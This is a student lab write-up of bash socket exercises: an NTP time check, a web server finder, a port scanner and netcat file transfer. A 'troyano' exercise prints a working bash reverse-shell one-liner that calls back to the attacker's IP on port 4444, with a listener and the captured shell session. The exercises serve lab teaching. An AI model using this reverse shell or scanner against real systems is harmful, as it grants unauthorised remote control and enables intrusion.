# Ejercicios Sockets

- Haz un script que evalúe la hora de nuestra máquina respecto a la hora de un servidor NTP.
    - El sistema nos dará un aviso en caso de que la diferencia sea mayor de un minuto

```
#!/bin/bash

hora_entera=$(cat </dev/tcp/time.nist.gov/13 | grep NIST | awk '{print $3}')

hora_nist=$(echo $hora_entera | awk -F ":" '{print $1}')
minuto_nist=$(echo $hora_entera | awk -F ":" '{print $2}')

if [[ $hora_nist -eq $(date +%H) ]]
then
        if [[ $minuto_nist -eq $(date +%M) ]]
        then
                echo -e "\nHora Correcta\n"
        else
                echo -e "\nMinuts incorrectes\n"
        fi
else
        echo -e "\nHora incorrecte\n"
fi
```

Script utilizado

```
daniel@daniel:~/scripts/script_socket$ ./hora_ntp.sh

Hora incorrecte
```

Muestra de una de las posibles opciones (hora incorrecta)

```
daniel@daniel:~/scripts/script_socket$ cat </dev/tcp/time.nist.gov/13 | grep NIST | awk '{print $3}'
14:50:38
daniel@daniel:~/scripts/script_socket$ date | awk '{print $4}'
15:50:39
```

Muestra de las horas en cuestión

- Haz un script que nos permita ver todos los links a otras páginas web desde la página sobre la que hacemos el análisis

**NO FER**

- Haz un script que te permita localizar servidores web en un determinado rango de direcciones IP dadas por el cliente.

```
#!/bin/bash

ip_inici=$1
ip_final=$2

num_inici=$(echo $ip_inici | awk -F "." '{print $4}')
num_final=$(echo $ip_final | awk -F "." '{print $4}')
ip_comp=$(echo $ip_inici | awk -F "." '{print $1"."$2"."$3"."}')

echo " "

for num in $(seq $num_inici $num_final)
do
        timeout 1 bash -c "</dev/tcp/${ip_comp}${num}/80 &>/dev/null" && echo "Port 80 en IP - $ip_c
omp$num ---- [ OPEN ]" && echo " "
done
```

Script utilizado

```
daniel@daniel:~/scripts/script_socket$ ./escan_web.sh_10.0.2.95 10.0.2.101
```

```
root@daniel:~# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
```

Ejemplo de uso y muestra de servidor http hosteando una carpeta por puerto 80 para poder “localizar servidor web”

```
daniel@daniel:~/scripts/script_socket$ ./escan_web.sh 10.0.2.95 10.0.2.101

Port 80 en IP - 10.0.2.99 ---- [ OPEN ]

daniel@daniel:~/scripts/script_socket$
```

Resultado del script donde detecta puerto 80 en la IP mostrada

- Haz un escáner de puertos para una red determinada por el cliente. El script nos dará todos los puertos asociados a cada una de las ip de la red.

```
num_final=$(echo $ip_final | awk -F "." '{print $4}')
ip_comp=$(echo $ip_inici | awk -F "." '{print $1"."$2"."$3"."}')

p_inici=0
p_final=84

echo " "

for num in $(seq $num_inici $num_final)
do
        for ((port=$p_inici; port<=$p_final; port++))
        do
        timeout 1 bash -c "2>/dev/null >/dev/tcp/${ip_comp}${num}/$port" && echo "$ip_comp$num port
$port --- OBERT" && echo " "
        done
done
```

Script utilizado

```
root@daniel:~# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
```

Abrimos puerto 80 con un http.server para detectarlo

```
daniel@daniel:~/scripts/script_socket$ ./nMop.sh 10.0.2.99 10.0.2.101

10.0.2.99 port 22 --- OBERT

10.0.2.99 port 80 --- OBERT

10.0.2.101 port 22 --- OBERT
```

Resultado del script donde muestra puertos 22 y 80 abiertos para las diferentes IP dentro del rango introducido.

- Haz un script que actúe como troyano en la máquina atacada (el script se ejecuta en background y se conecta al atacante). Una vez el atacante tenga conexión (permanentemente escucha el puerto), este le enviará una serie de comandos a ejecutar sobre la maquina atacada.

```
#!/bin/bash

bash -c "bash -i >& /dev/tcp/10.0.2.99/4444 0>&1_&"
~
```

Código del "troyano"

```
daniel@daniel:~/scripts/script_socket$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group defa
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP
00
    link/ether 00:0c:29:bd:1f:55 brd ff:ff:ff:ff:ff:ff
    altname enp2s1
    inet 10.0.2.99/24 brd 10.0.2.255 scope global dynamic ens33
       valid_lft 1023sec preferred_lft 1023sec
    inet6 fe80::20c:29ff:febd:1f55/64 scope link
       valid_lft forever preferred_lft forever
daniel@daniel:~/scripts/script_socket$ nc -nlvp 4444
listening on [any] 4444 ...
```

Comprobación de IP del atacante y escuchamos posible conexión con puerto de entrada 4444

```
daniel@hackeame:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group defaul
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP gro
    link/ether 00:0c:29:05:d0:fb brd ff:ff:ff:ff:ff:ff
    altname enp2s1
    inet 10.0.2.101/24 metric 100 brd 10.0.2.255 scope global dynamic ens33
       valid_lft 1047sec preferred_lft 1047sec
    inet6 fe80::20c:29ff:fe05:d0fb/64 scope link
       valid_lft forever preferred_lft forever
daniel@hackeame:~$ ./troyano.sh
daniel@hackeame:~$ _
```

Comprobación de IP de la victima y ejecución del troyano
(Observamos que al ser en segundo plano no se observa la conexión)

```
daniel@daniel:~/scripts/script_socket$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.0.2.99] from (UNKNOWN) [10.0.2.101] 42162
bash: initialize_job_control: no job control in background: Bad file descriptor
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

daniel@hackeame:~$ hostname
hostname
hackeame
daniel@hackeame:~$ _
```

Reverse shell en maquina atacante

- Haz un script que nos permita intercambiar ficheros entre máquinas remotas

```
#!/bin/bash


if [[ $# -ne 3 ]]
then
        echo " "
        echo "[+] Ejemplo:"
        echo -e "\t $0 10.0.2.101 4444 archivo.txt"
        echo " "
fi


nc $1 $2 <$3
```

Script maquina que contiene archivo

```
daniel@hackeame:~$ cat entrada.txt
daniel@hackeame:~$ _
```

Archivo donde irá a parar la transferencia

```
root@daniel:/home/daniel# ./transferencia.sh 10.0.2.101 4444 script_ping_ssh.sh
```

Ejecución de Script para transferir script_ping_ssh.sh a la IP indicada a través del puerto introducido

```
daniel@hackeame:~$ nc -lp 4444 > entrada.txt
^C
daniel@hackeame:~$ cat entrada.txt
#!/bin/bash

llista_ips=$(w -h | awk '{print $3}' | grep -v "-")

for ip in $llista_ips
do
        echo -e "\n[+]  Pinguejant la IP: $ip [+]\n"
        ping -c 2 $ip

done
daniel@hackeame:~$
```

Muestra de la recepción del script y redirección al archivo entrada.txt